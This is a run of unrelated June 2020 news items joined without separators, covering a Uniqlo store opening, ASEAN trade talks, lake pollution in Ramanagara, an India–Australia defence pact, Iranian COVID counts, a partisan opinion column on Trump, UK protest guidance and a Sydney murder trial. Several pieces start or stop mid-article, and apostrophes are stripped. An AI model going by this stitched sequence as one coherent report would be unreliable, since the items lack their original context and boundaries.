This store is the continuation of something that began with Uniqlo Park in Yokohama, said Uniqlos chief executive officer in Japan Maki Akaida, referencing another store that opened recently outside of Tokyo. It is a place for the birth of new culture, and a store that embodies the LifeWear concept.

When customers enter Uniqlo Harajuku from the street level, they find themselves in the UT section of the store. In addition to displays showcasing some of the many T-shirt collaborations the brand undertakes, the current display includes a 10-foot-tall sculpture of Billie Eilish by artist Takashi Murakami, created specifically for the store to commemorate the designs the two made for UT. The store also sells some of the first lifestyle merchandise under the UT brand, including ceramic dishes, notebooks and other stationery items.

A central staircase under a large screen at the back of the store leads to the lower level, which houses a large collection of Uniqlos LifeWear collection for men and women. The styling of the mannequins reflects the youthful vibe and clientele that frequent the area.

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Some unique aspects of this particular Uniqlo store include displays of books  some of which are for sale  that reference Tokyo and Harajukus unique history and culture, a listening corner in collaboration with Spotify and young, local musicians and bands, a flower stand, and a sustainability corner with clothing recycle bins and displays illustrating Uniqlos environmental efforts. At the moment the display explains how plastic drink bottles are recycled to become the fiber used in the brands Airism line of inner wear.

But perhaps the most interesting section of the store is StyleHint Harajuku, located a few steps from the main store on the lower level. The back wall is lined with 240 touchscreen displays where customers can use Uniqlos StyleHint app to create outfits, get style inspiration, view the stores stock in real time, find items on the stores floor plan, and more.

To help prevent the spread of COVID-19, staff at the store will be wearing masks, and will monitor the number of customers, limiting how many can enter the store at once if necessary. Upon entering the StyleHint store, customers will be asked to sanitize their hands and to use a pre-sanitized stylus rather than their fingers on the touchscreens. When finished, the used styluses are returned to a separate container to be re-sanitized before being used by subsequent shoppers.

On the eighth floor of the With Harajuku building is Shiseido Parlour The Harajuku, a restaurant and lounge with sweeping views of the lush forest that surrounds Meiji Shrine, just behind Harajuku station. Makoto Suzuki, president of Shiseido Parlour, said that the restaurants location means that it will naturally cater to a slightly different demographic than is representative of its customers in other locations, such as Ginza.

At our Ginza location we get a lot of customers in their forties and fifties who are out shopping with their families, Suzuki said. But their children want to go shopping in Harajuku, so this gives them a place to have a meal when they do that. We also expect to have many customers who are visiting Meiji Shrine.

The design of the restaurant incorporates rich textures and deep shades of blue and green to complement the trees outside the floor-to-ceiling windows. Starting from Friday, it will be open for lunch only, with its official grand opening planned for June 16. In accordance with virus-spread prevention measures outlined by the Tokyo metropolitan government, it will operate at only a third of its capacity for the time being, and all staff will wear face masks.

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He made the statement at an online discussion on ASEANs response in the post-COVID-19 recovery phase. The discussion was held by the Meridian International Centre in D.C. and was attended by representatives from the US Department of State, a number of foreign embassies, 30 US companies, and two large US business associations.

At the event (Photo: VNA)



The Vietnamese Ambassador took the occasion to update those in attendance on Vietnams positive outcomes in controlling COVID-19 and the Governments strong assistance to enterprises and workers.

In order to welcome shifts in global supply chains, he went on, Prime Minister Nguyen Xuan Phuc recently agreed to establish a special working group to spur foreign investment attraction, including from the US.

He said that apart from cooperation in medicine and vaccine production, US businesses also possess advantages when investing in Vietnams digital trade, infrastructure, and renewable energy sectors.

Participating US firms expressed their interest in Vietnam, congratulated the country on its success in controlling the pandemic, and praised its policy on opening up and recovering its economy.

They hoped that ASEAN and Vietnam will sustain supply chains, particularly in medical products.

They also suggested Vietnam soon reopen its market so that US companies can access the country and partners with potential.

Ambassador Ngoc and Philippine Ambassador Jose Manuel Romualdez took the occasion to stress that ASEAN leaders had pledged at recent meetings to sustain the flow of goods and services, particularly necessities, promoting innovation, and developing a post-pandemic recovery plan.

The Vietnamese Ambassador said amid the challenges from COVID-19, Vietnam, as Chair of ASEAN this year, has worked with other members to utilise the blocs mechanisms for policy and action coordination. He also valued the USs prompt support for ASEAN during its fight against the virus./.
Ashwini M Sripad By

Express News Service

RAMANAGAR: Byramangala Lake in Ramanagara is as infamous as Bengalurus Bellandur Lake  froth floating on the water body, some even flying in the air distracting motorists, dark grey colour water and bad smell.

Thanks to the lockdown, Byramangala Lake is recovering. When TNIE team visited, the frothing was much less.

Froth used to fly and fall on motorists. It used to cause itching. There was an overwhelming stench too. But now, frothing has reduced and there is no bad smell. This lake was crystal clear once, but gradually, we became the victim of industrial effluents and sewage from Bengaluru, Honnaiah (78) from a nearby village said.

He added that things had been better since the lockdown was imposed. The lake is part of the Vrushabhavathi Valley and receives toxic pollutants mainly from hundreds of industries in Bidadi and sewage from Bengaluru.

The canal (naala) from the lake passes through at least 28 villages in Byramangala.

Toxic pollutants enter agricultural fields where farmers grow sugarcane and paddy.

This apart, cattle too drink this water and milk is supplied to Bengaluru. Right from expired medicines to paint, industrial effluents containing acid, fluoride, methyl and more, all which are harmful to the human body, would end up in Byramangala Lake.

The Bidadi Industrial area, spreads across 1,500 acres and has about 150 companies.

Besides, there are places like Wonderla, Innovative film city and many star hotels where high footfall is witnessed.

During the lockdown, entire industries, hospitality sector and other places were shut, due to which less quantity of effluents were added to the stream.

And the Ramanagara DC authorities have taken up work in the lake, removing weeds.

Prof N Nandini, chairperson, Dept of Environmental Science, BU, who has conducted a study on the valley including Byramangala Lake, said there were more than 150 types of viruses found.

The water stream has heavy metals and much more that changed the colour into dark grey. The colour is changing and the froth too is reducing after the lockdown. However, domestic waste has not reduced as the usage of soaps and detergents has increased, she said.
Though Lightfoot has made it clear the lakefront remains closed, residents have been able to access Lake Michigan this week as security around trails has loosened.
New Delhi: India and Australia on Thursday announced two bilateral strategic declarations for cooperation in the Indo-Pacific region and inked seven other pacts including a key defence Mutual Logistics Support Agreement (MLSA) that will see either countrys defence platforms including ships and aircraft being able to use the others bases for repair and replenishment of supplies including fuel and spare parts.

India already has similar pacts with the United States, France and Singapore. The MSLA inked on Thursday is designed to increase military inter-operability through defence exercises, with both nations resolving to deepen and broaden defence cooperation especially through navy-to-navy cooperation.

The two declarations and seven pacts in defence, cyber, mining and other sectors were announced after a 70-minute warm, cordial and highly productive India-Australia Leaders Virtual Summit on Thursday morning in which Prime Minister Narendra Modi and Australian counterpart Scott Morrison formally decided to elevate bilateral ties from the current Strategic Partnership to a Comprehensive Strategic Partnership (CSP), spanning the entire gamut of the relationship. The two countries had originally entered into a strategic partnership in 2009.

The inking of the MSLA is being seen by observers as significant, in the context of growing Chinese military assertiveness in the maritime Indo-Pacific region and also at a time when India is currently locked in a military face-off with China in the Ladakh sector.

India and Australia along with the United States and Japan are already part of the four-nation "Quad" arrangement that focuses on maintenance of a "rules-based order" in the Indo-Pacific region. This has also brought India and Australia much closer to each other strategically.

In response to a question later from reporters at a Special Virtual briefing on Thursday evening, the Ministry of External Affairs (MEA)'s Secretary (East) Ms. Vijay Thakur Singh said there was no discussion on the subject of China at the Summit. But in what is being seen as possibly a veiled reference to Beijing, PM Modi told Australian PM Morrison during the Summit,  It is our sacred responsibility to uphold and protect the values of global welfare, such as Democracy, Rule of Law, Freedom, Mutual Respect, Respect for International Institutions and Transparency, etc. Today, when these values are being challenged in different ways, we can strengthen them by strengthening mutual relations.

The two bilateral declarations announced included one on the CSP and one on a Shared Vision for Maritime Cooperation in the Indo- Pacific that will expand linkages between maritime agencies and support a rules-based maritime order that is based on respect for sovereignty and international law, seen as crucial in the light of Chinas strong-arm tactics in the region. PM Modi also used the metaphor of musical instruments to say the both countries can create a symphonyin the Indo-Pacific region.

Apart from the MSLA, Another defence pact on cooperation in Defence Science and Technology was also signed, with PM Modi inviting Australian companies to participate in the Make in India initiative. Answering a question on key defence pact MSLA, top MEA officials said that whenever there are military exercises between India and Australia, the two militaries would be extending support to each other.

Another important pact inked was on cooperation in the field of mining and processing of Critical and Strategic minerals that is expected to include minerals like Lithium and Cobalt as well.

Australia also conveyed that India could consider it as a stable, reliable and trusted supplier of high-quality mineral resources to India. Both sides also reiterated their support for continued bilateral civil nuclear cooperation, with Australia being already a key supplier of Uranium to India. Australia also expressed its strong support for India's membership of the Nuclear Suppliers Group (NSG).

Both leaders also agreed to increase the frequency of Prime Ministerial contact through reciprocal bilateral visits and annual meetings at the margins of international events and also decided that Foreign and Defence Ministers will meet in a 2+2 format to discuss strategic issues at least every two years.

To strengthen trade ties, it was decided to re-commence talks on a bilateral Comprehensive Economic Cooperation Agreement(CECA) where a mutually agreed way forward can be found. A Framework pact on Cyber and Cyber-Enabled Critical Technology Cooperation was also inked.

Without naming Pakistan, both sides strongly condemned terrorism in all its forms and supported a comprehensive approach in combating terrorism including facilitating the investigation and prosecution of terrorist acts.

In a lighter moment during the Summit that reflected the bonhomie between the two leaders, Australian PM Morrison---while referring to the popular Indian snack Samosa, said he hoped he could one day prepare a Modimosa and Gujarati khichdi for PM Modi.

Praising Mr. Morrison during the Summit, PM Modi said, India-Australia relations are wide-ranging and deep. And this depth comes from our shared values, shared interests, shared geography and shared objectives. In the last few years, our cooperation and synergy has gained momentum. It is fortunate that one end of the reins of our relationship is in the hands of a strong and visionary leader like you. I believe that this is the perfect time, the perfect opportunity to further strengthen the relations between India and Australia.

The Coronavirus pandemic was also discussed at the Summit, with PM Modi saying, The role of our Comprehensive Strategic Partnership will be more important in this period of a global pandemic. The world needs a coordinated and collaborative approach to come out of the economic and social side effects of this pandemic. Our government has decided to view this crisis as an opportunity. In India, a process of comprehensive reforms has been initiated in almost all spheres. It will soon see results at the ground level.

Again articulating what seemed to be New Delhis unhappiness with the Covid-response of the World Health Organisation (WHO), PM Modi suggested in-built reform mechanisms in institutions.

Australia also reiterated its support for India's candidacy for permanent membership of a reformed UN Security Council (UNSC) and India's candidature for a non-permanent seat at the United Nations Security Council for the 2021-22 term.
Credit: CC0 Public Domain

The number of daily new coronavirus cases in Iran has fallen back to under 3,000, the health ministry said Friday, a day after hitting a new peak.

Authorities registered 2,886 new cases of infection, health ministry spokesman Kianoush Jahanpour said, bringing the total number to 167,156 since the start of the outbreak in February.

The Islamic republic on Thursday announced a record 3,574 daily infections, passing a high point set in March, after breaching the 3,000-mark for several days.

Jahanpour said Friday that 63 more people had died, with the official death toll now at 8,134, the highest in the Middle East.

There has been some scepticism at home and abroad about Iran's official figures, with concerns the real toll could be much higher.

Authorities have been progressively lifting restrictions imposed to curb the outbreak, and life has almost returned to normal in most of the country's 31 provinces.

But the southwestern province of Khuzestan remains classified as a "red zone"the highest level of risk in the country, and with greater restrictions.

Seven other provinces, mainly in the south and west, are still under a "health alert", Jahanpour said, down from nine announced earlier this week.

He urged people in these areas to "follow social distancing instructions, wear a mask and avoid unnecessary travel".

The rising trajectory of infection figures since a low in early May has authorities worried, and the health ministry has stepped up a public health campaign.

Officials have also suggested the surge could be a result of wider testing, with Jahanpour saying Thursday that Iran had conducted over a million tests.

Explore further Virus on rise again in Iran with over 3,000 cases for third day

 2020 AFP
Trump administration orders Marriott to cease Cuba hotel business The hotel Four Points by Sheraton is seen in Havana, Cuba

By Sarah Marsh

HAVANA (Reuters) - The Trump administration has ordered Marriott International to wind down hotel operations in Communist-run Cuba, a company spokeswoman told Reuters, extinguishing what had been a symbol of the U.S.-Cuban detente.

Starwood Hotels, now owned by Marriott, four years ago became the first U.S. hotel company to sign a deal with Cuba since the 1959 revolution amid the normalization of relations pursued by former President Barack Obama.

But the administration of President Donald Trump has unraveled that detente, tightening the decades-old U.S. trade embargo on Cuba and saying it wants to pressure the island into democratic reform and to stop supporting Venezuelan President Nicolas Maduro.

The approach could help Trump bolster support in the large Cuban-American community in Florida, a state considered vital to his re-election chances in November.

A company spokeswoman said the U.S. Treasury Department had ordered the company to wind down its operation of the Four Points Sheraton in Havana by Aug. 31. It would also not be allowed to open other hotels it had been preparing to run.

A U.S. Treasury Department spokesperson said it could not comment on specific licensing matters, but that the administration aimed to prevent Cuba's military from using revenue from tourism to "oppress its own people",

The Four Points Sheraton in Havana, like swaths of the tourism sector and economy at large, is controlled by the commercial arm of the Cuban military.

"In 2017, Trump promised he would not disrupt existing contracts U.S. businesses had with Cuba," wrote William LeoGrande, a Cuba expert at American University in Washington, on Twitter. "Promise made, promise broken."

The news comes two days after the U.S. State Department expanded its list of Cuban entities with which Americans are banned from doing business to include the military-owned financial corporation that handles U.S. remittances to Cuba.

U.S. sanctions have further crippled an economy already struggling with a decline in aid from leftist ally Venezuela and the end of hard-currency generating Cuban medical missions in Brazil and elsewhere.

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Philip Peters who runs the FocusCuba business consultancy and has advised Marriott, said no good had come from a lifetime of U.S. sanctions that separated the U.S. and Cuban peoples, harmed Cubas economy, and limited American influence in Cuba.

"Marriott .. will hopefully return to do business in Cuba, along with others, to encourage American travel and to help Cuba prosper and integrate into the global economy," he said.

(Reporting by Sarah Marsh in Havana; Additional Reporting by Marc Frank in Havana and Matt Spetalnick in Washington; Editing by Chizu Nomiyama, David Gregorio and Tom Brown)
The year 1968 is regarded by many historians as the most explosive year in modern U.S. history. But will this year  2020  exceed it?

Is a dark, new chapter in the American journey about to begin? Or, as I would argue, are we witnessing the dying gasps of a tinpot tyrant who frantically sees his reality show finally coming to an end?

It takes no great insight on Donald Trumps part to realize that, once he is no longer president, which is likely as early as next January, he will be liable to prosecution and jail for a multitude of potential crimes.

Given this, the events of the past week certainly provide Americans with no reason for complacency. Desperate and afraid, Trump is out of options  and that itself provides a clear and present danger to American democracy.

Failing abysmally in his handling of the pandemic, the looming economic depression and a sudden racial crisis, we can all see what he is doing.

Trump is trying mightily to push the instruments of government closer to authoritarian rule in a final effort to grasp on to power.

It shouldnt be forgotten that the turmoil currently ripping at the core of American society is being triggered by a man whose political hero is Richard Nixon  that same Nixon who was forced to resign in 1974 for abuse of power.

And it is Nixons original law and order playbook  which led to his first election as president in 1968  that Trump is using as he seeks his own re-election this November.

But there are important lessons from the U.S. history of 1968 that suggest that Trump wont succeed in replaying the Nixon playbook.

This was the year when Americas crucial fault lines  the battle over civil rights, the disastrous Vietnam War, the assassinations of Martin Luther King Jr. and Robert Kennedy, the youth revolution and more  exploded seemingly at once. The aftershocks both in the U.S. and the world at large reverberated for decades afterward.

But 1968 was also a year that carried with it the accumulated burden of a decade of crisis.

Beginning with the shock of John F. Kennedys assassination in 1963, these were years of spreading race riots in major American cities, a violent counter-reaction by police and security forces, the growing despair of the Vietnam War and the collapsing presidency of Lyndon Johnson, who was being challenged from within his own Democratic Party.

It was in this fraught environment that Richard Nixon, Republican challenger, ran against the incumbent Democrats in the 1968 presidential election, and won. But Nixon, who promised to restore law and order at home and peace abroad, ran as the challenger seeking the White House, not  like Trump  as president.

In 1968, the majority of Americans wanted to rid the White House of Democrats, and that is why they elected Nixon. But they were motivated by more than ideology. A major reason was exhaustion.

They were tired of years of upheaval that tore their society apart. They wanted normalcy, and stability.

It is this moment in 1968 that may provide the most insight about the 2020 election.

And it prompts this question: After the past four years of chaos and upheaval, which candidate  Trump or Joe Biden  can credibly promise stability?

A highly regarded history of the 1960s, written in 1971, may provide an answer.

In his book, Coming Apart: An Informal History of America in the 1960s, the late William ONeill described the overwhelming mood of exhaustion on the part of American voters in 1968:

Nations, like men, cannot live off their nervous energy indefinitely. Times of great tension and stress give way to calmer periods. Change does not stop even though men tire of it, yet the forms it takes alter. People can bear to address profound  therefore stormy and divisive  problems for only so long. When the time is up, regardless of what has been accomplished, private matters reassert their authority. Sometimes the corner is turned in a single year 

And there are other reasons to believe that Trumps reign will soon be coming to an end.

Trumps polling numbers are falling, even among important elements of his fabled base.

As much as he portrays the protesters in the streets as left-wing anarchists, the opposite is proving true. They have been overwhelmingly diverse  and peaceful  and recent polls indicate that two-thirds of Americans support them.

Trump is under increasing attack from quarters that have, until now, been notably mute, such as former defence secretary James Mattis, who said this week that the president was the first president in my lifetime who does not try to unite the American people  Instead, he tries to divide us.

As this week unfolded, the presumptive Democratic presidential nominee Joe Biden became far more visible in the debate.

He apparently realizes that the growing sense of crisis now confronting the U.S. has placed a spotlight on the key issues that will dominate his presidency if he is elected in November.

They include the fallout from a collapsing economy, the urgent need for adequate health care, the cry for racial justice, and the damage from Trumps policies that have seriously worsened income inequality and the climate crisis.

Increasingly, polls suggest that Americans believe Biden is far better suited to deal with these problems than the incumbent.

So  assuming, of course, that Americans can keep Trumps storm troopers off the streets between now and the inauguration of a new president in January  there may be life after Trump.

Tony Burman, formerly head of CBC News and Al Jazeera English, is a freelance contributing foreign affairs columnist for the Star. He is based in Toronto. Follow him on Twitter: , formerly head of CBC News and Al Jazeera English, is a freelance contributing foreign affairs columnist for the Star. He is based in Toronto. Follow him on Twitter: @TonyBurman

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Health secretary Matt Hancock has appealed for the public not to attend events to protest the death of George Floyd planned for this weekend, in order to avoid the risk of spreading coronavirus.

Mr Hancock said it was "vital" for those wishing to express their anger over the US killing to stick to social distancing rules and limit any protests to no more than six people "for the safety of your loved ones".

The appeal came as Mr Hancock announced new rules requiring visitors and outpatients at NHS hospitals to wear face coverings and staff to wear surgical masks at all times from 15 June.

Asked whether he wanted police to break up any gatherings of seven or more people taking part in Black Lives Matter demonstrations over the weekend, the health secretary replied: "That is very much an operational matter for the police."

Protest events have been announced in London's Trafalgar Square, Manchester, Leicester, Sheffield and Ipswich for Saturday and at a number of cities including Edinburgh and Glasgow and outside the US Embassy on Sunday.

George Floyd death: Minneapolis protests erupt in the streets Show all 30 1 /30 George Floyd death: Minneapolis protests erupt in the streets George Floyd death: Minneapolis protests erupt in the streets Police spray mace at protestors to break up a gathering near the Minneapolis Police third precinct after a white police officer was caught on a bystander's video pressing his knee into the neck of African-American man George Floyd, who later died at a hospital, in Minneapolis Reuters George Floyd death: Minneapolis protests erupt in the streets A protester holds a sign with an image of George Floyd AP George Floyd death: Minneapolis protests erupt in the streets Protesters demonstrate against the death of George Floyd AFP via Getty George Floyd death: Minneapolis protests erupt in the streets A protester throws a piece of wood on a fire in the street just north of the 3rd Police Precinct Getty George Floyd death: Minneapolis protests erupt in the streets People in other US cities also protested the murder, like Los Angeles AFP via Getty George Floyd death: Minneapolis protests erupt in the streets Getty George Floyd death: Minneapolis protests erupt in the streets AP George Floyd death: Minneapolis protests erupt in the streets Reuters George Floyd death: Minneapolis protests erupt in the streets AFP via Getty George Floyd death: Minneapolis protests erupt in the streets AFP via Getty George Floyd death: Minneapolis protests erupt in the streets AFP via Getty George Floyd death: Minneapolis protests erupt in the streets A police officer lobs a canister to break up crowds Reuters George Floyd death: Minneapolis protests erupt in the streets A protester is treated after inhaling tear gas Getty George Floyd death: Minneapolis protests erupt in the streets Two police officers stand on the roof of the Third Police Precinct during a face off with a group of protesters Getty George Floyd death: Minneapolis protests erupt in the streets Protesters outside a Minneapolis police precinct two days after George Floyd died EPA George Floyd death: Minneapolis protests erupt in the streets Protesters run from tear gas Reuters George Floyd death: Minneapolis protests erupt in the streets AP George Floyd death: Minneapolis protests erupt in the streets Demonstrators gather to protest in Los Angeles AP George Floyd death: Minneapolis protests erupt in the streets Police remove barricades set by protesters AFP via Getty George Floyd death: Minneapolis protests erupt in the streets Getty George Floyd death: Minneapolis protests erupt in the streets A fire burns inside of an Auto Zone store near the Third Police Precinct Getty George Floyd death: Minneapolis protests erupt in the streets Flowers, signs and balloons are left near a makeshift memorial to George Floyd near the spot where he died AFP via Getty George Floyd death: Minneapolis protests erupt in the streets A policeman faces a protester holding a placard in downtown Los Angeles AFP via Getty George Floyd death: Minneapolis protests erupt in the streets A couple poses with a sign in Los Angeles AFP via Getty George Floyd death: Minneapolis protests erupt in the streets MINNEAPOLIS, MN - MAY 27: A man is tended to after sustaining an injury from a projectile shot by police outside the 3rd Police Precinct building on May 27, 2020 in Minneapolis, Minnesota. Four Minneapolis police officers have been fired after a video taken by a bystander was posted on social media showing Floyd's neck being pinned to the ground by an officer as he repeatedly said, "I cant breathe". Floyd was later pronounced dead while in police custody after being transported to Hennepin County Medical Center. (Photo by Stephen Maturen/Getty Images) Stephen Maturen Getty George Floyd death: Minneapolis protests erupt in the streets Getty George Floyd death: Minneapolis protests erupt in the streets A protester reacts after inhaling tear gas Getty George Floyd death: Minneapolis protests erupt in the streets Getty Images George Floyd death: Minneapolis protests erupt in the streets Protesters use shopping carts as a barricade Getty Images George Floyd death: Minneapolis protests erupt in the streets Protesters clash with the police as they demonstrate against the death of George Floyd AFP via Getty Images

The planned demonstrations are expected to attract large crowds, after thousands of people - including Star Wars actor John Boyega - marched from Hyde Park to Parliament on Wednesday, most of them breaching the social distancing requirement to keep two metres apart at all times.

But Mr Hancock told the daily Downing Street coronavirus briefing: "Like so many I am appalled by the death of George Floyd and I understand why people are deeply upset but we are still facing a health crisis and coronavirus remains a real threat.

The reason that it is vital that people stick to the rules this weekend is to protect themselves and their family from this horrific disease.

So please for the safety of your loved ones do not attend large gatherings, including demonstrations of more than six people.

Setting out the new rules on face coverings in hospitals, Mr Hancock - for the first time hosting a daily briefing without scientific or medical advisers - said: As the NHS reopens right across the country, its critically important to stop the spread amongst staff, patients and visitors too.

So today were setting out that all hospital visitors and outpatients will need to wear face coverings."

Mr Hancock said that people in hospitals - and particularly those working there, whether in a clinical setting or not - were more likely to catch coronavirus than anywhere else.

He said: "To offer even greater protection were also providing new guidance for NHS staff in England which will come into force again on June 15. All hospital staff will be required to wear type one or two surgical masks.

This will cover all staff working in hospital, it will apply at all times  not just when they are doing life-saving work on the frontline  and it will apply in all areas, except those areas designated as Covid-secure workplaces.

Mr Hancock told the daily briefing the Government was upgrading the guidance to ensure that even as the virus comes under control hospitals are a place of care and of safety.

Weve also strengthened infection control in care homes and were working with the social care sector on how this approach can apply appropriately in social care too.

Its about protecting the NHS and social care, which means protecting our colleagues who work in the NHS and in social care.
Buses start rolling into Phuket

PHUKET: The first interprovincial bus into Phuket since the COVID-19 lockdown came into effect arrived at Phuket Bus Terminal 2 in Rassada, north of Phuket Town, from Phang Nga at 7am today (June 5).

COVID-19healthtransporttourism

By Eakkapop Thongtub

Friday 5 June 2020, 06:43PM

Only 22 seats on each bus are available under the new health guidelines. Photo: Courtesy of Chop Puttasupa

Only 22 seats on each bus are available under the new health guidelines. Photo: Courtesy of Chop Puttasupa

Buses into and out of Phuket are now available. Photo: Courtesy of Chop Puttasupa

The first bus out of Phuket in months left Phuket Bus Terminal 2 at 7:30am today (June 5). Photo: Courtesy of Chop Puttasupa

The first bus out of Phuket in months left Phuket Bus Terminal 2 at 7:30am today (June 5). Photo: Courtesy of Chop Puttasupa

The milestone was soon followed by the first interprovincial bus out of Phuket in months departing for Hat Yai at 7:30am. In total three buses left the bus terminal for Hat Yai today.

Chop Puttasupa, chief of Phuket Bus Terminal 2, said that the bus services resuming journeys into and out of Phuket resumed smoothly, with all bus operators and passengers cooperating well with the new health guidelines in effect.

Mr Chop said that although buses to nearly all destinations previously served by operators were now operating, the timetable is still very limited as only about half of the bus operators have resumed services.

Operators are still finalising what services they can provide. We expect the timetable to be better in about a week, he said.

People were preferring to book seats through online agents instead of buying them at the bus terminal, he said, but the limited number of seats on each bus were selling quickly.

Each bus is allowed to offer only 22 seats [under the new health guidelines], but about 90% of those seats are being used, Mr Chop said.

Mr Chop said that the first bus from Bangkok was expected to arrive in Phuket at about 8am on Monday (Jun 8).

A bus is currently scheduled to depart Phuket for the capital at 5:20pm next Tuesday (Jun 9).

Bangkok is currently one of eight risk provinces named by Phuket Governor Phakaphong Tavipatana from which all people must observe a 14-day self-quarantine after arriving in Phuket.

People arriving from Nonthaburi, Chiang Mai, Narathiwat, Yala, Prachinburi, Samut Prakan and Krabi also must observe a 14-day self-quarantine after arriving in Phuket.

Mr Chop explained that bus operators and bus terminal staff will play no part in ensuring that such travellers arriving in Phuket by bus will observe the self-quarantine order.

The relevant Phuket officials will be informed of such people by receiving information from the Thai Chana app [web platform] or documents, Mr Chop said.

Additional reporting by Khunanya Wanchanwet
President Donald Trumps reelection team is tapping Jason Miller to serve as a senior adviser, bringing a controversial figure back into the fold as the campaign barrels towards a treacherous final stretch.

Miller, who served as a top adviser on Trumps 2016 bid, will focus on overall strategy and help to coordinate between the campaign and White House. Two people familiar with the hire said Miller would provide additional support to campaign manager Brad Parscale. While Miller served as chief spokesman four years ago, he will not be running communications, a role filled by Tim Murtaugh.

After the 2016 election, Miller was named White House communications director. But weeks before Trumps inauguration he backed out after reports emerged that he had an extramarital affair and impregnated another campaign official, A.J. Delgado. In the ensuing months, Miller was engaged in a protracted custody battle with her. He later stepped down from his position as a commentator on CNN and has an ongoing lawsuit against an online media outlet over what he has called a defamatory report about his personal life.

Yet Miller has remained close with Trump, who has kept up with loyalists he credits with helping to guide his 2016 campaign. Bill Stepien, a top adviser on Trumps first presidential bid, was recently elevated to deputy campaign manager. Kellyanne Conway, who was Trumps campaign manager, has been White House counselor his entire first term. Corey Lewandowski and David Bossie, two other top officials, recently met with Trump to express concern about his reelection prospects. Justin Clark, another longtime adviser, is helping to spearhead the GOP legal fight over voting rules.

For all his personal problems, Miller is well regarded as a political operative. His decision to forego the White House job was regarded as a serious blow within the administration. The White Houses press operation was deeply chaotic during its opening days and beset by leaks and departures.

Story continues

Every day I strive to become a better husband, a better father and a better person, and I am humbled by the opportunity for a second chance to serve President Trump, Miller said in a statement.

The hire comes as an array of public polling has shown Trump lagging behind Joe Biden in key battlegrounds. Republicans have also grown concerned about his standing in traditionally red states like Arizona and Georgia. Millers entry into the campaign comes weeks after Stepien was named Parscales No. 2.

But those familiar with the hire say it was always the plan to expand the upper ranks of the campaign as the election drew closer.

Miller has a long history in conservative politics and has advised many insurgent candidates who took on entrenched incumbents, including former Kentucky Gov. Matt Bevin and former Kansas Senate candidate Milton Wolf. Before joining Trumps 2016 campaign, he was a top adviser on Texas Sen. Ted Cruzs primary effort.

Miller was formerly a partner at the prominent Republican consulting firm Jamestown Associates. The firm produced commercials for Trump in 2016 and is also playing a role in his reelection campaign.

His relationship with the president dates back nearly a decade. While Trump was mulling a 2012 bid, he was in discussions with Miller about running his campaign. Miller also worked as a senior staffer on the 2008 presidential campaign of Trump personal attorney and former New York City Mayor Rudy Giuliani.

He has remained an outspoken Trump loyalist and been a co-host on a podcast with former White House chief strategist Steve Bannon. In June 2019, Miller left his job at a corporate advisory firm after he called New York Rep. Jerrold Nadler fat and nasty on Twitter. Miller was criticizing Nadler for his treatment of Trump adviser Hope Hicks during her appearance before the House Judiciary Committee.


A Sydney office furniture salesman who believed he was Prince Harry's preferred bodyguard was not criminally responsible when he shot dead a man staying in a campervan, a judge has been told.

Simon Slavko Stojic, 49, has pleaded not guilty to murdering Brett Jardine in the early hours of July 26, 2017 in a Kingsgrove car park, near the offices of Statewide Office Furniture.

Mr Jardine was staying in the campervan after travelling to Sydney from Victoria the previous month to work on the WestConnex road project.

Shortly before the 43-year-old was fatally shot in the left shoulder and abdomen, he rang triple-zero to report a man hanging around his vehicle and kicking the door.

A Sydney office furniture salesman who believed he was Prince Harry's preferred bodyguard was not criminally responsible when he shot dead a man staying in a campervan, a judge has been told

Lawyers for the Crown and the defence on Thursday made their final submissions to Justice Robertson Wright, who heard the NSW Supreme Court trial without a jury.

He's heard evidence about numerous paranoid and bizarre conspiracy theory statements Stojic made to friends and colleagues in the lead-up to the shooting.

He spoke of being a secret operative for ASIO, the CIA and the royal family, saying the Queen had a private plane on standby at Bankstown airport in case anything went wrong.

Stojic said he was the preferred bodyguard for both Princess Diana and Prince Harry and had stopped Australia from being attacked by foreign powers approximately 30 times.

Prosecutor Rohan Cooley on Thursday noted the defence concession there was no dispute Stojic performed the physical act of killing Mr Jardine.

Nevertheless the Crown pointed to 'ample evidence' indicating Stojic was the shooter, including CCTV footage as well as things he said afterwards.

Before Mr Jardine's workmates found his body in the campervan, Stojic whispered to an associate 'there is a dead body in there' and 'they are going to find occult shit in the back of the van'.

'He is the kind of guy who can kill you without a gun,' he said.

Stojic said the man was an 'operative' while he himself was a federal agent who had to shoot him because 'either he's dead or I'm dead'.

Mr Cooley referred to psychiatric evidence concluding Stojic suffered from a chronic delusional disorder involving persecutory and grandiose beliefs.

Simon Slavko Stojic, 49, has pleaded not guilty to murdering Brett Jardine in the early hours of July 26, 2017 in a Kingsgrove car park, near the offices of Statewide Office Furniture (pictured, NSW Supreme Court)

Professor David Greenberg said Stojic had some knowledge that murder was 'legally wrong' but because of his severe mental illness didn't know it was 'morally wrong'.

Stojic's barrister Hament Dhanji SC said there was abundant evidence, and no contest between the parties, about the tragic death of Mr Jardine.

He submitted the judge would be 'well and truly satisfied on the balance of probabilities' that the defence of mental illness had been made out.

'This is a case where the evidence is not only one way, but it seems to be one of those cases which perhaps caused the various doctors little pause in coming to their conclusions,' he said.

Justice Wright will deliver his verdict on June 12.
Tran Tuan Anh, Minister of Industry and Trade of Vietnam, which holds the ASEAN Chairmanship 2020, chaired the meeting.

The ministers approved the Hanoi Action Plan, which aims to enhance economic cooperation within the bloc and connect supply chains amid the changing circumstances in the region caused by the COVID-19 pandemic.

The action plan was built on the basis of a joint statement from ASEAN economic ministers, which was proposed by Vietnam and adopted at the ASEAN Economic Ministers Retreat in March.

It includes concrete measures to reboot ASEANs economy, such as maintaining commitments to market opening to ensure food security and enhancing the capacity for recovery and sustainability in regional supply chains.

Apart from avoiding new and unnecessary non-tariff measures, the bloc will also build a platform to facilitate regional trade and promote and support supply chain connectivity.

It will also optimise technologies and digital commerce to assist enterprises, especially micro-small- and medium-sized enterprises (MSMEs).

The approval of the action plan demonstrates the role of the ASEAN Community in responding and adapting to COVID-19 as well as Vietnams ASEAN Chairmanship in 2020.

The ministers also looked into joint statements issued by business advisory councils, including the ASEAN Business Advisory Council.
(Photo : REUTERS/Rebecca Cook) A Detroit Police officer reads a "The Boogaloo stands with George Floyd" sign held by an armed man during a rally against the death in Minneapolis police custody of George Floyd, in Detroit, Michigan, U.S. May 30, 2020. Picture taken May 30, 2020. (Photo : REUTERS/Dado Ruvic) A 3D printed Facebook logo is placed between small toy people figures in front of a keyboard in this illustration taken April 12, 2020.

Facebook has made it more difficult to find "Boogaloo"-related user groups. It will no longer recommend such groups to members of similar associations, a Facebook spokeswoman said on Thursday, June 4.

